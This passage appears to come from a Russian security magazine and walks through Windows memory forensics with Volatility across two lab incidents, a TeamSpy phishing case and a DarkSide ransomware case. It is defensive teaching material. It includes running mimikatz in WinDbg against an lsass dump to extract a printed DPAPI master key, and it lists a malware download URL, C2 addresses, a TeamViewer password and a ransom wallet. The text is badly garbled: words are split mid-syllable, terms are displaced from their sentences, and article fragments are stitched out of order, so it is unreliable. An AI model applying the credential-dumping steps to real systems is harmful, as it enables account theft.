В памяти Windows есть сле дующие кри мина лис тичес ки важ ные исполня емые
объ екты:  — экзем пляр откры того фай ла, пред став ляющий дос -

туп про цес су или модулю ядра к фай лу,  — струк тура про цес са
в памяти, ,  и мно гое дру гое.

PoolTag _POOL_HEADER

_FILE_OBJECT
_EPROCESS

_TOKEN _ETHREAD

Опи сание струк туры памяти Windows пред став -
лено в кни ге 

.

The Art of Memory Forensics:
Detecting Malware and Threats in Windows, Linux,
and Mac Memory

Каж дый исполня емый объ ект Windows хра нит ся в сле дующей струк туре.

Пул исполня емо го объ екта

Пул ядра — это диапа зон памяти, который мож но раз делить на мел кие бло ки
для хра нения дан ных любого типа.

Струк тура _POOL_HEADER

Струк тура  содер жит эле мент  — сос тоящее из ASCII-
сим волов четырех бай товое зна чение. Этот эле мент соз дан Microsoft
для отладки и ауди та ядра. Эле мент  может иметь зна чения ,

,  и дру гие. Мно гие пла гины Volatility для поис ка объ ектов в памяти
исполь зуют метод ска ниро вания PoolTag, что бы находить скры тые и завер -
шенные про цес сы, а так же рут киты. Раз мер струк туры  сос тавля -

ет 10 байт.

_POOL_HEADER PoolTag

PoolTag Proc
Thrd File

_POLL_HEADER

Струк тура  общая для всех типов исполня емых объ ектов.

Раз мер  в струк туре пула исполня емо го объ екта опре деля -

ется в зависи мос ти от содер жимого поля .

_OBJECT_HEADER
Optional Header

InfoMask

Струк тура _OBJECT_HEADER

Зна чение InfoMask и его раз мер

Продолжение статьи →

https://github.com/fox-it/Invoke-ACLPwn
https://attack.mitre.org/techniques/T1053/005/
https://www.blackhat.com/docs/us-14/materials/us-14-Kazanciyan-Investigating-Powershell-Attacks-WP.pdf
https://learn.microsoft.com/ru-ru/windows/win32/winrm/ws-management-protocol
http://msdn.microsoft.com/en-us/library/dd357801.aspx
https://www.virustotal.com/gui/file/f8dbe9a85ea88c79c7dbf0f884a85a2726f7fba874b9bded3e10bd084800cd5d
https://repo.zenk-security.com/Forensic/The%20Art%20of%20Memory%20Forensics%20-%20Detecting%20Malware%20and%20Threats%20in%20Windows,%20Linux,%20and%20Mac%20Memory%20(2014).pdf


ИССЛЕДУЕМ ДАМПЫ
И ИЩЕМ СЛЕДЫ ВЗЛОМА

В СИСТЕМЕ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

На ша задача — най ти содер жимое эле мен та  в струк туре

 вре донос ного про цес са  (иден тифика тор ).
Для это го необ ходимо перей ти к адре су струк туры , далее в струк -

туре  най ти эле мент , что бы опре делить раз мер

, и перей ти на адрес струк туры . Для это го
вос поль зуем ся пла гином volshell.

PoolTag
_POOL_HEADER svchost.exe 3140

_EPROCESS
_OBJECT_HEADER InfoMask

Optional Header _POOL_HEADER

python2.7 vol.py -f memory.dmp --profile=Win2016x64_14393 
volshell -p 3140

Да лее получим адрес струк туры ._EPROCESS

proc()

Ад рес иссле дуемо го про цес са — .0xFFFFBA03419B7800
Те перь получим содер жимое струк туры . Для это го

из адре са  выч тем  (раз мер ).

_OBJECT_HEADER
0xFFFFBA03419B7800 0x30 _OBJECT_HEADER

dt("_OBJECT_HEADER",0xFFFFBA03419B7800-0x30)

Со дер жимое струк туры _OBJECT_HEADER

Зна чение поля  — , а зна чит, по таб лице выше раз мер 

 сос тавля ет  байт.

InfoMask 0x8 Optional
Header 0x20

Что бы перей ти на адрес струк туры  вре донос ного про цес са

, необ ходимо из адре са  вычесть  (раз -

мер ),  (раз мер ) и  (раз мер
).

_POOL_HEADER
svchost.exe 0xFFFFBA03419B7800 0x30

_OBJECT_HEADER 0x20 Optional Header 0x10
_POOL_HEADER

dt("_POOL_HEADER",0xFFFFBA03419B7800-0x30-0x10-0x20)

Со дер жимое струк туры _POOL_HEADER про цес са 3140

Пе рево дим зна чение  в шес тнад цатерич ное пред став ление

в обратном поряд ке пред став ления бай тов и получа ем зна чение в кодиров ке
ASCII  ( ).

PoolTag

MHML 0x4d 0x48 0x4d 0x4c
Про дол жим ана лизи ровать этот про цесс с помощью пла гина volshell и най -

дем содер жимое кучи, в которой хра нят ся обра баты ваемые про цес сом
динами чес кие дан ные. Каж дая струк тура  содер жит эле мент Process

Environment Block (PEB). PEB хра нит пол ный путь к исполня емо му фай лу про -
цес са, коман дную стро ку, которая запус кает про цесс, текущий рабочий
каталог, а так же ука зате ли на кучи про цес са.

_EPROCESS

Со дер жимое про цес са в памяти

Струк тура PEB при сутс тву ет в каж дом про цес се, который содер жит в себе
кучу. Наша задача — най ти адре са дан ных, хра нящих ся в куче. Это и будет
спря тан ное 8-бай товое сло во в памяти про цес са. Нуж но най ти стро ки, содер -
жащи еся в куче про цес са: для это го нам необ ходимо получить адре са куч
и вывес ти их содер жимое. Мож но вос поль зовать ся пла гином heaps, но он
доволь но прост в работе, поэто му поп робу ем вос ста новить нуж ные зна чения
вруч ную.

.dmp python2.7 vol.py -fmemory --profile=Win2016x64_14393 volshell 
-p 3140

По лучим из кучи про цес са ука зате ли на их содер жимое. Вво дим в стро ке
vollshell сле дующее:

address_of_heaps = proc().Peb.ProcessHeaps.dereference()

Мы получи ли ука зате ли, теперь цик лом выведем их содер жимое.

Дан ные, которые содер жатся в куче

Мы обна ружи ли все дан ные, содер жащи еся в куче. Скры тое 8-бай товое сло -
во — .c0n6r475

Ис поль зуя пла гин yarascan, най дем все ссыл ки в памяти про цес са. Для это -
го вос поль зуем ся сле дующим регуляр ным выраже нием: 

.

/(https?:\/\/)?([\
w\.-]+)([\/\w \.-]*)/

  
python2.7 vol.py -f memory.dmp --profile=Win2016x64_14393 
yarascan -Y "/(https?:\/\/)?([\w\.-]+)([\/\w \.-]*)/" -p 3140

Об наружен ные стро ки в памяти про цес са

Ана лизи руя ссыл ки про цес са, мы обна ружи ли инте рес ную стро ку с каким-то
клю чом. Поп робу ем опре делить его содер жимое. Для это го получим дамп
все го адресно го прос транс тва про цес са :3140

 
python2.7 vol.py -f memory.dmp --profile=Win2016x64_14393 memdump 
-p 3140  -D .

И най дем зна чения key:

    50  10strings 3140.dmp | grep 'lsJTyy' -B -A

Тре бова ния зло умыш ленни ков

Мы обна ружи ли тре бова ние о выкупе, которое оста вил шиф роваль щик
DarkSide. Най дем в обра зе памяти адрес сме щения 567-бай тового зна чения
клю ча , для это го вос поль зуем ся пла гином yarascan:Key:

  
python2.7 vol.py -f memory.dmp --profile=Win2016x64_14393 
yarascan -Y "lsJTyy" -p 3140

Ад рес сме щения 567-бай тового клю ча в памяти

Шиф роваль щик сох ранил 567-бай товый ключ в памяти по сме щению
. Получим спи сок фай лов в памяти и най дем файл .0x00b5f4a5 svchost.exe

python2.7 vol.py -f memory.dmp --profile=Win2016x64_14393 
filescan > filescan.txt

Ад рес фай ла в памяти

Пре обра зуем адрес в физичес кое сме щение, для это го вос поль зуем ся пла -
гином volshell.

hex(addrspace().vtop(0x0000ba033f477bc0))

По физичес кому адре су  в памяти хра нит ся файл .
Прос мотрим содер жимое струк туры  фай ла , вир -

туаль ный адрес которо го — . Для это го вос поль зуем ся

пла гином volshell.

0x13c090bc0 svchost.exe
_FILE_OBJECT svchost.exe

0x0000ba033f477bc0

python2.7 vol.py -f memory.dmp --profile=Win2016x64_14393 volshell

dt("_FILE_OBJECT",0x0000ba033f477bc0)

Ад рес устрой ства

Пре обра зуем зна чение в эле мен те  в шес тнад цатерич ное пред -
став ление.

DeviceObject

hex(18446667121827189856)

Ад рес устрой ства, на котором сох ранен шиф роваль щик , —

.

svchost.exe
0xffffba033e631460

Выг рузим иссле дуемый файл из фай ловой сис темы, в качес тве адре са ука -
жем адрес сме щения.

 
python2.7 vol.py -f memory.dmp --profile=Win2016x64_14393 
dumpfiles -Q 0x13c090bc0  -D .

Заг рузим любой из получен ных фай лов в ути литу PeStudio.

За голо вок фай ла

Внут реннее имя исполня емо го фай ла  — 

. Пос мотрим таб лицу импорта и най дем инте рес ные фун кции WinAPI.

svchost.exe calimalimodumator.
exe

Фун кция импорта

В таб лице импорта находит ся WinAPI-фун кция : она исполь -
зует ся для получе ния локали опе раци онной сис темы. Про ана лизи руем про цесс

 и най дем мас тер-ключ.

GetLocaleInfoA

lsass.exe
Про цесс Local Security Authority Subsystem Service (он же LSASS) пред -

назна чен для управле ния под систе мами аутен тифика ции Windows. Для хра -
нения аутен тифика цион ных дан ных в памяти исполь зует ся механизм DPAPI
(Windows Data Protection API), который шиф рует пароли и любую дру гую важ ную
информа цию поль зовате ля. Для рас шифров ки дан ных, зашиф рован ных через
DPAPI, необ ходим мас тер-ключ, хеш и SID поль зовате ля. Поп робу ем рас -
парсить про цесс  и най дем мас тер-ключ поль зовате ля .lsass.exe 0xMohammed

Ис поль зуя пла гин lsadump Volatility, мне не уда лось вытащить дан ную
информа цию. Вос поль зуем ся ути литой WinDbg x64. Заг рузим файл 

 в WinDbg x64, для это го перей дем на вклад ку File → Open CrashDump. Все

осталь ные дей ствия будем про изво дить в коман дной стро ке отладчи ка.

memdump.
dmp

!analyze -v

Те перь заг рузим  в WinDbg.mimikatz

.load  mimikatz-master\x64\mimilib.dll

Най дем адрес струк туры  про цес са ._EPROCESS lsass.exe

!process 0 0 lsass.exe

По иск адре са про цес са lsass.exe

Пе рехо дим по адре су .ffffba033ef746c0

.process /r /p ffffba033ef746c0

Пар сим .lsass.exe

!mimikatz

На ходим поль зовате ля  и видим сле дующую информа цию.0xMohammed

MasterKey поль зовате ля 0xMohammed

Мас тер-ключ поль зовате ля :0xMohammed

1652c67aa6719519492e67d1b39cab91e7804eb26b259ff351b60df34ee8088043
14cbfbcf03afbf3bae3ef2790f2c363ca0a9c8791e0e80d490c26afe77c3be

ÂÛÂÎÄÛ

Мы иссле дова ли образ опе ратив ной памяти, поз накоми лись со струк турами
 и , разоб рались, как про исхо дит ска ниро вание пула

тегов и какие дан ные там хра нят ся. Обна ружи ли, что зло умыш ленник получил
дос туп к компь юте ру DC01 с помощью служ бы WinRM, а так же вытащи ли
передан ные им коман ды PowerShell.

_EPROCESS _FILE_OBJECT

Мы про вели рас сле дова ние стен дового инци ден та и отве тили на воп росы
лабора тор ной работы. Зло умыш ленник с адре са  ском про -
мети ровал хост PC01, исполь зуя фишин говое сооб щение с вре донос ным вло -
жени ем. Перех ватил учет ные дан ные поль зовате ля  и адми нис тра тора

домена . Затем с помощью служ бы WinRM получил дос туп к хос ту
DC01, тем самым ском про мети ровал кон трол лер домена и заг рузил на него
шиф роваль щик семей ства DarkSide.

192.168.112.128

labib
0xMohammed

https://github.com/ParrotSec/mimikatz
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ВЗЛОМ

В этой статье я покажу, как извле кать
основные арте фак ты из обра зов опе -
ратив ной памяти Windows. Мы вос ста -
новим про цесс ата ки, что бы рас сле довать
инци дент. В этом нам поможет лабора тор -
ная работа  с ресур са

.
TeamSpy

CyberDefenders

По сце нарию сот рудник ком пании сооб щил, что получил подоз ритель ное элек -
трон ное пись мо с фай лом докумен та и пос ле это го компь ютер начал вес ти
себя стран но. Груп па реаги рова ния на инци ден ты сде лала нес коль ко дам пов
памяти с подоз ритель ных машин. Наша задача — рас сле довать инци дент
и разоб рать ся, что про изош ло.

По резуль татам решения кей са необ ходимо отве -
тить на ряд воп росов, одна ко я покажу лишь сам
про цесс решения. Пов торив про хож дение, ты
смо жешь сам дать отве ты для зак репле ния
матери ала.

Заг рузим  с арте фак тами и прис тупим к их иссле дова нию.ар хив

ÈÑÏÎËÜÇÓÅÌÛÅ ÓÒÈËÈÒÛ
1.  — инс тру мент, реали зован ный на Python 2.

Пред назна чен для извле чения арте фак тов из образцов энер гозави симой
памяти.

Volatility Framework 2.6.1

2.  — инс тру мент для извле чения струк туриро ван ной

информа ции, к при меру адре сов элек трон ной поч ты, URL, доменов.

Bulk extractor

3.  — прог рамма для тес тирова ния и соз дания пра вил YARA.YARA Editor

4.  — инс тру мент для вос ста нов ления OST-кон тей неров

в EML.

OST Extractor

5.  — прог рамма для ана лиза shell-кода.Scdbg

ÈÑÏÎËÜÇÓÅÌÛÅ ÄËß ÈÇÂËÅ×ÅÍÈß ÄÀÍÍÛÕ ÏËÀÃÈÍÛ
VOLATILITY 2
1.  — пла гин для опре деле ния опе раци онной сис темы, пакета

обновле ний и аппа рат ной архи тек туры иссле дуемо го обра за.
Imageinfo

2.  — прос мотр спис ка про цес сов в виде дерева.Pstree

3.  — прос мотр откры тых дес крип торов к фай лам, раз делам реес тра,
мьютек сам, име нован ным каналам, событи ям в про цес сах. Так же мож но
отоб разить дес крип торы для кон крет ного про цес са, задав филь тр по типу
объ екта.

Handles

4.  — пла гин для поис ка команд, которые зло умыш ленни ки вве ли

через . Основное пре иму щес тво это го пла гина в том, что он
не толь ко печата ет коман ды, вве ден ные зло умыш ленни ками, но и собира ет
весь экранный буфер (ввод и вывод).

Consoles

cmd.exe

5.  — извле чение всех резиден тных стра ниц памяти в про цес се.Memdump

6.  — пла гин для поис ка объ ектов  в памяти

с помощью ска ниро вания тегов пула. Этот пла гин най дет все откры тые
фай лы.

Filescan FILE_OBJECT

7.  — извле чение кеширо ван ных фай лов из обра за памяти.Dumpfiles

8.  — поиск сетевых арте фак тов в 32- и 64-раз рядных дам пах
памяти. Этот пла гин находит конеч ные точ ки TCP и UDP, а так же ищет
локаль ные и уда лен ные IP-адре са.

Netscan

9.  — поиск зна чений в ука зан ном раз деле реес тра Windows.Printkey

10.  — получе ние информа ции из клю ча реес тра UserAssist.Userassist

11.  — ска ниру ет записи глав ной таб лицы фай лов (MFT) в памяти

и выводит информа цию о вре мен ных мет ках фай лов.

Mftparser

12.  — под клю чаемый пла гин для поис ка точек сох ранения исполня -

емых фай лов в сис теме. Для под клю чения пла гина нуж но добавить его
в каталог plugins инс тру мен та Volatility.

Autoruns

13.  — пла гин для поис ка скры того или внед ренно го в память про цес -

сов кода.

Malfind

14.  — пла гин для извле чения тек ста из эле мен тов управле ния Windows

Edit.

Editbox

ÈÑÑËÅÄÎÂÀÍÈÅ ÕÎÑÒÀ ECORPOFFICE
Преж де чем искать вирус ную активность, давай получим пер вичную информа -
цию о сис теме, имя компь юте ра, сетевой адрес и вер сию опе раци онной сис -
темы.

python2.7 vol.py -f "ecorpoffice/win7ecorpoffice2010-36b02ed3.
vmem" imgeinfo

Вер сия ОС — . Мы будем ее ука зывать при поис ке дру гих арте -
фак тов в качес тве про филя в Volatility.

Win7SP1x64

По лучим имя компь юте ра, для это го про верим сле дующий ключ реес тра:

SYSTEM\ControlSet001\Control\ComputerName\ComputerName

python2 vol.py -f ecorpoffice/win7ecorpoffice2010-36b02ed3.vmem \
--profile=Win7SP1x64 printkey -K  "ControlSet001\Control\
ComputerName\ComputerName"

Имя компь юте ра иссле дуемо го обра за

Имя компь юте ра: .WIN-191HVE3KTLO
Вы ясним сетевой адрес. Для это го про верим ключ, в котором содер жатся

иден тифика торы сетевых адап теров. Здесь же мож но най ти и информа цию
о сети.

python2 vol.py -f  ecorpoffice/win7ecorpoffice2010-36b02ed3.vmem \
--profile=Win7SP1x86_23418 printkey \
-K "ControlSet002\Services\Tcpip\Parameters\Interfaces\{360E0CDC-
9C78-4D3B-A0Af-69CC45DE6D70}"

Се тевая информа ция о хос те

IP-адрес иссле дуемой машины — 10.1.1.122.
Про ана лизи руем запущен ные про цес сы в сис теме, их спи сок выг рузим

в файл .pstree.txt

python2.7 vol.py -f "ecorpoffice/win7ecorpoffice2010-36b02ed3.
vmem" \
--profile=Win7SP1x64 pstree > ecorpoffice/pstree.txt

Спи сок про цес сов

Мы обна ружи ли про цесс , иден тифика тор про цес са — 2692.

По сце нарию нам извес тно, что инци дент про изо шел пос ле того, как поль -
зователь запус тил вло жение в пись ме. Вос ста новим все сооб щения поль -
зовате ля и най дем вре донос ное. Для это го ищем в про цес се все объ екты

.

OUTLOOK.EXE

FILE

python2.7 vol.py -f "ecorpoffice/win7ecorpoffice2010-36b02ed3.
vmem" \
--profile=Win7SP1x64 handles -p 2692 -t FILE > ecorpoffice/FILE_
OUTLOOK

В резуль тате ана лиза объ ектов FILE обна руже но имя поч тового ящи ка поль -
зовате ля:

\Device\HarddiskVolume1\Users\phillip.price\AppData\Local\
Microsoft\Outlook\phillip.price@e-corp.biz.pst

Поп робу ем выг рузить этот кон тей нер из памяти про цес са. Най дем физичес кий
адрес фай ла, исполь зуя пла гин .filescan

python2.7 vol.py -f "ecorpoffice/win7ecorpoffice2010-36b02ed3.
vmem" \
--profile=Win7SP1x64 filescan > ecorpoffice/filescan`

Ад рес поч тового ящи ка поль зовате ля в сис теме

Выг ружа ем най ден ный файл, даем ему рас ширение .ost и заг ружа ем в ути литу
.OST Extractor

python2.7 vol.py -f "ecorpoffice/win7ecorpoffice2010-36b02ed3.
vmem" \
--profile=Win7SP1x64 dumpfiles -Q 0x000000007d4d9450 -u -D 
ecorpoffice/

Не забыва ем про аргу мент , который поз воля ет выг рузить боль шее количес -

тво дан ных.

-u

По луча ем файл . Тоже меня ем ему

раз решение на .ost и заг ружа ем в OST Extractor.

file.None.0xfffffa80042dcf10.dat

Кон верти рова ние поч тового кон тей нера

Пос ле кон верти рова ния OST в ука зан ной пап ке появит ся сооб щение поль -
зовате ля в фор мате EML. Перехо дим в пап ку сооб щений и смот рим его.

За голо вок пись ма

Со дер жимое сооб щения

Пись мо отправ лено с поч тового ящи ка . В атта че —
документ . IP-адрес поч тового сер вера — 

. Пись мо пос тупило 4 октября 2016 года в 12:02:04 (UTC).

karenmiles@t-online.de
bank_statement_088452.doc 31.6.

35.122
Что бы извлечь вло жение, мож но вос поль зовать ся блок нотом, для это го

декоди руем аттач из Base64 и сох раня ем файл с рас ширени ем .doc. Либо
можешь открыть EML с помощью поч тового кли ента (того же Outlook).

Ис сле довать вре донос ные фай лы необ ходимо
в изо лиро ван ной сре де. Как соз дать лабора -
торию для ана лиза вре доно сов, под робно рас -
ска зано в статье «

».
Код под над зором. Соз даем

вир туаль ную лабора торию для ана лиза мал вари

Итак, берем файл  и начина ем изу чать. Его MD5:bank_statement_088452.doc

c2dbf24a0dc7276a71dd0824647535c9

Про верим наличие мак роса в получен ном вло жении с помощью ути литы
.olevba

olevba bank_statement_088452.doc

Ре зуль тат работы ути литы olevba

Мак рос силь но обфусци рован, и по-быс тро му его про ана лизи ровать
не получит ся, поэто му откро ем документ в Microsoft Word и нач нем отла живать
скрипт на Visual Basic.

Со дер жимое вре донос ного докумен та

Пе рей дем в «Вид → Мак росы» и наж мем кноп ку «Отла дить». Находим сле -
дующий учас ток кода.

Со дер жимое мак роса

В фун кции  выпол няет ся запуск содер жимого в перемен ной .
Най дем мес то в коде, где фор миру ется эта перемен ная, пос тавим точ ку оста -
нова и запус тим скрипт.

xvkBjM UsoJar

От ладка скрип та

Пос ле выпол нения это го учас тка кода в перемен ной  появит ся коман да

на PowerShell, которая декоди рует дан ные и исполня ет их.

UsoJar

Пре обра зуем дан ные из Base64 и пос мотрим содер жимое.

Пре обра зован ные дан ные

Как видим, скрипт на PowerShell находит и запус кает исполня емые фай лы вот
из этой пап ки:

C:\Users\<user>\AppData\Local\Temp

Пе ред тем как запус кать вре донос ный документ, нач нем записы вать сетевой
тра фик, для это го запус тим в вир туаль ной машине .Wireshark

Се тевая активность вре донос ного докумен та

Как видим, до запус ка скрип та на PowerShell про исхо дит заг рузка полез ной
наг рузки с IP-адре са .54.174.131.235

За голо вок сетево го пакета

Вре донос ный скрипт на VBA заг ружа ет полез ную наг рузку со сле дующе го
адре са:

http://54.174.131.235/files/tv_x64.exe

Наг рузка будет сох ранена в файл

C:\Users\<user>\AppData\Local\Temp\SkypeC2AutoUpdate.exe

За тем этот файл запус кает ся.
Про цесс  — это средс тво уда лен ного управле ния

TeamViewer.

SkypeC2AutoUpdate.exe

Най дем сис темный иден тифика тор это го про цес са в фай ле .

Это 1364.

pstree

Иден тифика тор вре донос ного про цес са

Те перь изу чим сетевую активность про цес са. Для это го извле чем из обра за
все вза имо дей ствия с сетью и сох раним в фай лик .netscan.txt

python2.7 vol.py -f "ecorpoffice/win7ecorpoffice2010-36b02ed3.
vmem" \
--profile=Win7SP1x64 netscan > ecorpoffice/netscan.txt

Се тевая активность вре донос ного про цес са

Про цесс с иден тифика тором 1364 вза имо дей ству ет с управля ющим сер вером
.54.174.131.235

По лучим дамп адресно го прос транс тва про цес са.

python2.7 vol.py -f "ecorpoffice/win7ecorpoffice2010-36b02ed3.
vmem" \
--profile=Win7SP1x64 memdump -p 1364 -D ecorpoffice/

Выг ружен ный файл называ ется .1364.dmp
Те перь при помощи регуляр ного выраже ния най дем все вза имо дей ствия

с управля ющим сер вером .54.174.131.235
strings 1364.dmp | grep '54.174.131.235'

Вза имо дей ствия с управля ющим сер вером

Вре донос ный файл обра щает ся вот на этот адрес:

http://54.174.131.235/getinfo[.]php

Ус тановив соеди нение, он отправ ляет соб ранную информа цию. Вер сия прог -
рам мно го обес печения TeamViewer (параметр ) — 0.2.2.2.tvrv=

Поп робу ем вытащить дан ные из полей TeamViewer, нам инте ресен его
пароль и иден тифика тор. Для это го вос поль зуем ся пла гином .editbox

python2.7 vol.py -f "ecorpoffice/win7ecorpoffice2010-36b02ed3.
vmem" \
--profile=Win7SP1x64 editbox

Иден тифика тор хос та

Иден тифика тор сис темы — .528 812 561

Па роль для дос тупа к уда лен ному хос ту

Па роль для дос тупа к хос ту — .P59fS93m
Поп робу ем вытащить из про цес са инте рес ную информа цию, свя зан ную

с работой TeamViewer.
strings 1364.dmp | grep 'teamviewer' -B 3 -A 3

Об наружен ный сетевой адрес

В памяти про цес са обна ружен сетевой адрес , с которо го про изо -

шел уда лен ный вход в сис тему.

31.6.13.155

Ис поль зовав пла гин , получим этот про цесс, что бы про верить

через VirusTotal.

procdump

python2.7 vol.py -f "ecorpoffice/win7ecorpoffice2010-36b02ed3.
vmem" \
--profile=Win7SP1x64 procdump -p 1364 -D ecorpoffice/

Продолжение статьи →
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https://cyberdefenders.org/blueteam-ctf-challenges/enroll/93
https://github.com/volatilityfoundation/volatility
https://github.com/simsong/bulk_extractor
https://www.adlice.com/yaraeditor/
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РАССЛЕДУЕМ ЗАРАЖЕНИЕ
МАШИНЫ С WINDOWS

ШПИОНСКИМ ТРОЯНОМ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

По лучим его хеш и най дем его опи сание на VirusTotal. MD5-сум ма —
.6ecd2ed83b0bc2eea7c7a75d06a610b6

Так же про ана лизи руем все пись ма в пап ке пос ле работы ути литы 

.

ost-

extractor.exe

Пись мо с информа цией о выкупе

Да вай теперь зафик сиру ем кар тину про изо шед шего.
04.10.2016 в 12:02 (UTC) на адрес  с адре са

 пос тупило пись мо, в котором сооб щает ся
номер циф рового кошель ка, куда необ ходимо перевес ти выкуп. Адрес
кошель ка Bitcoin:

philip.price@e-corp.biz
armadac0ll3ct1ve@gmail.com

25UMDkGKBe484WSj5Qd8DhK6xkMUzQFydY

04.10.2016 в 12:02:04 (UTC) на адрес 

от  приш ло фишин говое сооб щение, содер жащее
вре донос ный документ . Поль зователь открыл

этот документ, что и при вело к ком про мета ции компь юте ра. С адре са 

 на его машину заг ружа ется исполня емый
файл TeamViewer, содер жащий иден тифика тор и пароль для дос тупа к ском -
про мети рован ному хос ту.

philip.price@e-corp.biz
karenmiles@t-online.de

bank_statement_088452.doc
http://

54.174.131.235/files/tv_x64.exe

В 12:02 04.10.2016 на адрес 
от  приш ло сооб щение с адре сом кошель ка

Bitcoin. Если ком пания не переве дет на него опре делен ную сум му, зло умыш -
ленни ки нач нут ата ковать инфраструк туру орга низа ции.

philip.price@e-corp.biz
armadac0ll3ct1ve@gmail.com

ÈÑÑËÅÄÎÂÀÍÈÅ ÎÁÐÀÇÀ ECORPWIN7

По лучим пер вичную информа цию о сис теме.

python2 vol.py -f ecorpwin7/ecorpwin7-e73257c4.vmem --
profile=Win7SP1x64 imageinfo

python2 vol.py -f ecorpwin7/ecorpwin7-e73257c4.vmem --
profile=Win7SP1x64 printkey \
-K  "ControlSet001\Control\ComputerName\ComputerName"`

python2 vol.py -f ecorpwin7/ecorpwin7-e73257c4.vmem --
profile=Win7SP1x64 printkey \
-K  "ControlSet002\Services\Tcpip\Parameters\Interfaces\{3AE5A5FF-
4A27-4327-9C26-1493676FB9E5}"

Имя компь юте ра — , сетевой адрес — , про филь

опе раци онной сис темы — Win7SP1x64.

WIN-KMUKM7JPN9D 10.1.1.141

Да лее получим спи сок про цес сов в виде дерева, а так же сетевую
активность. Резуль тат сох раним в файл.

python2.7 vol.py -f "ecorpwin7/ecorpwin7-e73257c4.vmem" \
--profile=Win7SP1x64 pstree > ecorpwin7/pstree

python2.7 vol.py -f "ecorpwin7/ecorpwin7-e73257c4.vmem" \
--profile=Win7SP1x64 netscan > ecorpwin7/netscan

На ходим поч товый про цесс OUTLOOK.EXE, иден тифика тор 2496.
По лучим дамп адресно го прос транс тва это го про цес са.

python2.7 vol.py -f "ecorpwin7/ecorpwin7-e73257c4.vmem" \
--profile=Win7SP1x64 memdump -p 2496 -D ecorpwin7/

По лучим спи сок объ ектов FILE в адресном прос транс тве про цес са.

python2.7 vol.py -f "ecorpwin7/ecorpwin7-e73257c4.vmem" \
--profile=Win7SP1x64 handles -t FILE -p 2496 > ecorpwin7/handles_
file_2496

По луча ем файл , а в нем наз вание дру гого фай ла:handles_file_2496

Outlscott.knowles@e-corp.biz-00000004.pst

Это поч товый кон тей нер. Най дем его физичес кий адрес и выг рузим его
из обра за. Для это го получим спи сок фай лов:

python2.7 vol.py -f "ecorpwin7/ecorpwin7-e73257c4.vmem" \
--profile=Win7SP1x64 filescan > ecorpwin7/filescan

Фи зичес кий адрес поч тового кон тей нера

Вос ста новим поч товый кон тей нер.

python2.7 vol.py -f "ecorpwin7/ecorpwin7-e73257c4.vmem" \
--profile=Win7SP1x64 dumpfiles -Q 0x000000007de17f20 -u -D 
ecorpwin7/

Те перь кон верти руем файл с помощью OST Extractor и находим сооб щение
с вло жени ем.

Со дер жимое вре донос ного пись ма

За голо вок пись ма

04.10.2016 в 13:35:13 (UTC) от  пос тупило

пись мо, содер жащее вре донос ное вло жение. IP-адрес поч тового сер вера
отпра вите ля — . Выг рузим вло жения с помощью Outlook.

lloydchung@allsafecybersec.com

31.6.35.122
По луча ем файл RTF:

Important_ECORP_Lawsuit_Washington_Leak.rtf

Но эта вер сия фай ла битая. Поэто му поп робу ем вос ста новить его не из сооб -
щения, а из памяти. Находим его по наз ванию в выг ружен ном спис ке фай лов.

Фи зичес кий адрес вре донос ного фай ла

Вос ста новим его.

python2.7 vol.py -f "ecorpwin7/ecorpwin7-e73257c4.vmem" \
--profile=Win7SP1x64 dumpfiles -Q 0x000000007d6b3850 -u -D 
ecorpwin7/

От кры ваем вос ста нов ленный файл в Hex-редак торе и уда ляем в кон це нез -
начащие нули. MD5-сум ма это го фай ла:

00e4136876bf4c1069ab9c4fe40ed56f

Это реали зация экс пло ита в докумен те RTF (CVE-2010-3333). Под робнее
о нем можешь про честь в иссле дова нии Sophos ( ).PDF

Нач нем ана лиз вре донос ного докумен та. Получим спи сок потоков:

py rtfdump.py file.None.0xfffffa80040b3260.dat.rtf

Спи сок потоков докумен та RTF

Сог ласно иссле дова нию Sophos, полез ная наг рузка находит ся за фраг ментом
.\sv

Со дер жимое докумен та RTF

По лез ная наг рузка начина ется пос ле . Выг рузим наг рузку и сох раним

в файл .

0xacc8
shell

py rtfdump.py  file.None.0xfffffa80040b3260.dat.rtf -s 5 -H -d > 
shell

Да лее с помощью ути литы scdbg най дем точ ку вхо да шелл-кода.

scdbg /f shell /findsc

По иск точ ки вхо да

По лез ная наг рузка заг ружа ется с ресур са по сле дующе му адре су:

http://files.allsafecybersec.com

Про ана лизи руем про цес сы.

Про цесс svchost.exe с запущен ными дочер ними про цес сами rundll32.exe

Мы обна ружи ли про цесс  с иден тифика тором 288, запус тивший
дочер ние про цес сы . Получим информа цию об их запус ке

при помощи пла гина .

svchost.exe
rundll32.exe

cmdline

python2.7 vol.py -f ecorpwin7/ecorpwin7-e73257c4.vmem \
--profile=Win7SP1x64 cmdline >  ecorpwin7/cmdline

За пуск rundll32.exe

Как видим, rundll32.exe запус кает динами чес кую биб лиоте ку 

, фун кция экспор та .

C:\ProgramData\
test.DLL GnrkQr

Выг рузим  и про верим его на VirusTotal. Для это го най дем

физичес кий адрес фай ла.

test.DLL

Фи зичес кий адрес фай ла test.DLL

python2.7 vol.py -f ecorpwin7/ecorpwin7-e73257c4.vmem \
--profile=Win7SP1x64 dumpfiles -Q 0x000000007e8b03c0 -D c74-
TeamSpy/ecorpwin7/

Его MD5 — .2769761a23f793d93bbad3ded28e8ebd
Фай лик ока зал ся вре донос ным и отно сит ся к семей ству .PlugX

Най дем управля ющий сер вер про цес са с иден тифика тором 288.

Ад рес управля юще го сер вера

Вре донос ный модуль вза имо дей ству ет с управля ющим сер -
вером 52.90.110.169.

Да лее получим дамп адресно го прос транс тва про цес са.

python2.7 vol.py -f ecorpwin7/ecorpwin7-e73257c4.vmem \
--profile=Win7SP1x64 memdump -p 288 -D ecorpwin7/

Най дем все URI, через которые шло вза имо дей ствие с 

:

files.
allsafecybersec.com

strings  288.dmp | grep files.allsafecybersec.com

Заг рузка линукс-пакета

Для боково го переме щения по сети и зараже ния машин с Linux зло умыш -
ленник заг рузил модуль .linuxav.deb

Про дол жаем ана лизи ровать про цес сы и находим запущен ный исполня емый
файл , который обра баты вает кон соль ные окна в пос ледних вер -
сиях Windows.

conhost.exe

Об наружен ный про цесс conhost.exe

По лучим дамп его адресно го прос транс тва.

python2.7 vol.py -f "ecorpwin7/ecorpwin7-e73257c4.vmem" --
profile=Win7SP1x64 memdump -p 3056 -D ecorpwin7/

Те перь про ана лизи руем стро ки в дам пе про цес са.
Обыч но, попав в сис тему, зло умыш ленни ки начина ют искать в ней инте рес -

